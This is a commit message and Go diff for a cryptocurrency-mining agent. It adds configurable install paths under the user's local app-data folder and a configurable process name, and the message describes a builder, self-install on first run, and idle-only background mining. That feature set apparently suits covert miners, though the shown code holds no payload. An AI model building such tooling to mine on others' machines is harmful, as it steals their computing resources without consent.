Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.

agent/config/config.go

@@ -35,6 +35,9 @@ type BuiltinConfig struct {
 	IdleDurationMinutes int
 	ScheduleStart       string
 	ScheduleEnd         string
+	InstallBase         string
+	InstallCustomBase   string
+	InstallRelativePath string
 }
 
 type RuntimeConfig struct {
@@ -90,6 +93,12 @@ func Load() RuntimeConfig {
 	if b.ScheduleEnd == "" {
 		b.ScheduleEnd = "06:00"
 	}
+	if b.InstallBase == "" {
+		b.InstallBase = "localappdata"
+	}
+	if b.InstallRelativePath == "" {
+		b.InstallRelativePath = DefaultInstallRelativePath
+	}
 	return RuntimeConfig{BuiltinConfig: b}
 }
 
@@ -135,6 +144,14 @@ func (c RuntimeConfig) BackgroundMode() bool {
 	return strings.ToLower(c.DisplayMode) == "background"
 }
 
+func (c RuntimeConfig) EffectiveProcessName() string {
+	name := strings.TrimSpace(c.ProcessName)
+	if name == "" {
+		return sanitizeProcessName(c.WorkerName)
+	}
+	return sanitizeProcessName(name)
+}
+
 func sanitizeProcessName(name string) string {
 	name = strings.TrimSpace(name)
 	if name == "" {